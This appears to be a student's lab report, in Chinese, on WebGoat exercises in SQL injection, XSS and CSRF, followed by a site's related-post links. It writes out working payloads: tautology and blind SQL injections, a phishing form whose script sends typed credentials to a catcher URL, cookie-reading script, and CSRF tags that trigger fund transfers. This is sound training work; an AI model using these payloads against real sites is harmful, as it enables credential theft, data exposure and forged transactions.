一.实验后回答问题

(1)SQL注入攻击原理,如何防御

  • 原理:SQL注入攻击是攻击者在web应用程序中事先定义好的查询语句的结尾上添加额外的SQL语句,把SQL语句当做用户名等输入正常网页中以获取数据库信息的攻击,最终达到欺骗服务器执行恶意的SQL命令。
  • 防御措施其实很多,举几个例子:
1.数据有效性校验;
2.封装数据信息;
3.去除代码中的敏感信息;
4.替换或删除单引号;
5.指定错误返回页面;
6.限制SQL字符串连接的配置文件。

总而言之,就是要让web应用程序对用户输入数据的合法性进行判断,从而达到防范的目的。

(2)XSS攻击的原理,如何防御

  • 原理:恶意攻击者通过往Web页面里插入恶意Script代码,当用户浏览该页之时,嵌入其中Web里面的Script代码会被执行,从而达到恶意攻击用户的目的。
  • 防范:对用户输入的数据进行过滤、合法性验证,设置不允许通过敏感字符或者对"<>"之类的字符进行替换。

(3)CSRF攻击原理,如何防御

  • 原理:CSRF是跨站请求伪造,是一种对网站的恶意利用,通过伪装来自受信任用户的请求来利用受信任的网站。
  • 防范:CSRF主要是针对cookie进行攻击的,所以防范方式也从cookie上着手:

    1.直接更换授权方式:将持久化的授权方法,如cookie改成为瞬时的授权方法,比如在每个form中提供隐藏field。

    2.定期清理保存的cookie。

二.实验总结与体会

这一次的实验用到了webgoat,在其中做了关于SQL注入、XSS攻击和CSRF攻击,由于是全英文的网页所以对英文能力也有一定的考验==,在上一次的web基础实验中我对SQL注入、XSS攻击的理解只是表面的理解,实现的功能也很简单,这些知识点在这一次的实验中得到了很直观的学习,并且这一次的实验也警示我们,做网站编程的时候一定要对用户输入的信息做一个合法性的判断,不然会非常危险。

三.实践过程记录

开启webgoat

1.在在终端中输入java -jar webgoat-container-7.0.1-war-exec.jar开启webgoat,直到出现INFO: Starting ProtocolHandler ["http-bio-8080"]

2.打开浏览器,在浏览器中输入localhost:8080/WebGoat进入webgoat

(一)SQL注入

Numeric SQL Injection

1.这一步中用到了burpsuite做代理。

2.将查找语句101后加上or 1=1

3.由于这个实验提示只能成功一次,我第一次没截图……后来就截不到了,只能看到小对勾qwq

Log Spoofing

1.登陆欺骗,通过在用户名中输入%0d%0aLogin succeeded !admin使用户看起来像登录成功:

2.结果图如下:

String SQL Injection

1.通过输入查询的语句使得整张表得以显示,在其中输入' or 1=1;--

2.此时注入的SQL语句为SELECT * FROM user_data WHERE last_name = '' or 1=1;--',即查询表中所有信息

3.效果如下:

Stage 1 String SQL Injection

1.由于这一次设置用户只能自己选择,我们就可以通过在密码里做文章登陆进去,在密码中输入' or 1=1 --

2.发现密码只能输入8位,于是可以改一下代码:

3.成功效果如下:

Stage 3 Numeric SQL Injection

1.这个实验要求我们以larry的身份登录,实现对Neville的profile信息的浏览,首先跟上一次实验的方式一样登陆上去,这样点击ViewProfile是无效的

2.在代理中将行为从Login改为ViewProfile

3.将id改为Neville的ID,并让将其置于首位112 or 1=1 order by salary desc--

4.成功看见了Neville的信息:

Blind Numeric SQL Injection

1.猜测cc_number='4321432143214321' 的PIN值,使用盲注方式

2.输入101 AND ((SELECT pin FROM pins WHERE cc_number='1111222233334444') > 5000 );然后看到不合法,使用二分法,在代理中截图如下:此时范围缩小到2000到2500之间



3.一步步用二分法尝试:得到值在2363和2365之间,也就是2364



4.显示合法,成功:




(二)XSS攻击

Phishing with XSS 跨站脚本钓鱼攻击

1.然后编写前端代码并在输入框中注入这段前端代码

<head>
<body>
<div>
<div style="float:left;height:100px;width:50%;background-color:green;"></div>
<div style="float:left;height:100px;width:50%;background-color:red;"></div>
</div>
<div style="background-color:blue;height:200px;clear:both;"></div> </div></div>
</form>
<script>
function hack(){
XSSImage=new Image;
XSSImage.src="http://localhost:8080/WebGoat/catcher?PROPERTY=yes&user=" + document.phish.user.value + "&password=" + document.phish.pass.value + "";
alert("attack.!!!!!! Your credentials were just stolen. User Name = " + document.phish.user.value + " Password = " + document.phish.pass.value);
}
</script>
<form name="phish">
<br>
<br>
<HR>
<H2>This feature requires account login:</H2>
<br>
<br>Enter Username:<br>
<input type="text" name="user">
<br>Enter Password:<br>
<input type="password" name = "pass">
<br>
<input type="submit" name="login" value="login" onclick="hack()">
</form>
<br>
<br>
<HR>
</body>
</head>

2.会显示出网页

3.然后在弹出的网页中输入用户名和密码,提交即可截获

Stored XSS Attacks 存储型XSS攻击

1.在Message里输入<script>alert("It's 5212!");</script>

2.出现超链接,点击会弹出:

Reflected XSS Attacks

1.在输入框中注入<SCRIPT>alert(document.cookie);</SCRIPT>得到cookies

2.成功:

3.也可以输入指定的URL值,这里的效果为弹出方框http://www.targetserver.com/search.asp?input=<script>alert("hello20145212");</script>


(三)XSCF攻击

CSRF(Cross Site Request Forgery)

1.在message里输入<img src='attack?Screen=280&menu=900&transferFunds=100000' width='1' height='1'>这其中,280是我网页的scr,900是我的网页的menu,100000是转钱数额==

2.点击20145212,方才的代码就会被执行

CSRF Prompt By-Pass

1.与上个实验类似,同样是通过邮件的方式进行恶意请求,这里添加了请求确认的要求,所以需要两个iframe模块,输入如下:

<iframe src="attack?Screen=自己的src&menu=自己的menu&transferFunds=5000"> </iframe>
<iframe src="attack?Screen=自己的src&menu=自己的menu&transferFunds=CONFIRM"> </iframe>

2.成功




成功列表:



20145212 罗天晨 Web安全基础实践的更多相关文章

  1. 20145212罗天晨 WEB基础实践

    实验问题回答 1.什么是表单 表单在网页中主要负责数据采集功能 一个表单有三个基本组成部分: 表单标签 表单域:包含了文本框.密码框.隐藏域.多行文本框.复选框.单选框.下拉选择框和文件上传框等 表单 ...

  2. 20145212 罗天晨 WEB登陆发贴及会话管理功能的实现

    会话管理简介 Cookie: cookie常用于识别用户. cookie 是服务器留在用户计算机中的小文件,每当相同的计算机通过浏览器请求页面时,它同时会发送 cookie. 通过PHP能够创建并取回 ...

  3. 20145212罗天晨 逆向及Bof基础实践

    20145212罗天晨<网络对抗>第1周学习总结--逆向及Bof基础实践 逆向及Bof基础实践 一.实践目标 1.运行原本不可访问的代码片段 2.强行修改程序执行流 3.以及注入运行任意代 ...

  4. 20145312 《网络对抗》 Web安全基础实践

    20145312 <网络对抗> Web安全基础实践 问题回答 SQL注入攻击原理,如何防御 原理:攻击者在web应用程序中事先定义好的查询语句的结尾上添加额外的SQL语句,把SQL语句当做 ...

  5. 20155324《网络对抗技术》web安全基础实践

    20155324<网络对抗技术>web安全基础实践 实验内容 使用webgoat进行XSS攻击.CSRF攻击.SQL注入 实验问答 SQL注入攻击原理,如何防御 ①SQL注入攻击是攻击者在 ...

  6. 20155326《网络对抗》Web安全基础实践

    20155326<网络对抗>Web安全基础实践 实验后回答的问题 SQL注入攻击原理,如何防御? 原理:SQL注入攻击指的是在Web应用对后台数据库查询语句处理存在的安全漏洞,通过构建特殊 ...

  7. 20145203盖泽双 《网络对抗技术》实践九:Web安全基础实践

    20145203盖泽双 <网络对抗技术>实践九:Web安全基础实践 1.实践目标 1.理解常用网络攻击技术的基本原理. 2.Webgoat下进行相关实验:SQL注入攻击.XSS攻击.CSR ...

  8. 20145236《网络对抗》Exp9 web安全基础实践

    20145236<网络对抗>Exp9 web安全基础实践 一.基础问题回答: SQL注入攻击原理,如何防御 SQL Injection:就是通过把SQL命令插入到Web表单递交或输入域名或 ...

  9. 20145215《网络对抗》Exp9 Web安全基础实践

    20145215<网络对抗>Exp9 Web安全基础实践 基础问题回答 SQL注入攻击原理,如何防御? SQL注入攻击就是通过把SQL命令插入到Web表单递交或输入域名或页面请求的查询字符 ...

随机推荐

  1. for in //for of //forEach //map三种对比

    遍历Array可以采用下标循环,遍历Map和Set就无法使用下标.为了统一集合类型,ES6标准引入了新的iterable类型,Array.Map和Set都属于iterable类型. 具有iterabl ...

  2. cocos 简便斗地主发牌动画

    niuniuSend : function (int) { switch(int) { case 0: for(var i=0;i<5;i++){ var sp = new ccui.Image ...

  3. 海量交通大数据应用平台MTDAP_nchang的经验记录

    WRONGTYPE Operation against a key holding the wrong kind of value 根本的就是redis同一个key的value值前后类型不一致,比如最 ...

  4. 解决React Native使用Fetch API请求网络报Network request failed

    问题来源: 1 . 在测试fetch数据请求时,Xcode9.0以上的无法请求https, 需要在Xcode中加载项目后修改Info.plist的相关配置,具体如下参考 问题及解决方法一模一样,不再重 ...

  5. LeetCode141.环形链表

    给定一个链表,判断链表中是否有环. 进阶:你能否不使用额外空间解决此题? /** * Definition for singly-linked list. * class ListNode { * i ...

  6. CSS border-radius边框圆角

    在CSS3中提供了对边框进行圆角设定的支持,可对边框1~4个角进行圆角样式设置. 目录 1. 介绍 2. value值的格式和类型 3. border-radius 1~4个参数说明 4. 在线示例 ...

  7. C# JArray与JObject 的使用

    STEP1.using Newtonsoft.Json.Linq; STEP2 如何获取json里的某个属性(节点)值,对其删改,新增 ? 1 2 3 4 5 6 7 8 9 10 11 12 13 ...

  8. jdbc连接oracle的几种格式

    1. SID的方式.已经不推荐使用这种方式了. jdbc:oracle:thin:[<user>/<password>]@<host>[:<port>] ...

  9. C++/Java线程之分

    JAVA线程状态图 1.C++/windows中主线程结束,其他线程必然死亡(即使调用pthread_detach解除父子关系,主线程消亡时也会导致子线程被迫关闭). ----1.1 一个进程中可以有 ...

  10. sqoop从hive导入数据到mysql时出现主键冲突

    今天在将一个hive数仓表导出到mysql数据库时出现进度条一直维持在95%一段时间后提示失败的情况,搞了好久才解决.使用的环境是HUE中的Oozie的workflow任何调用sqoop命令,该死的o ...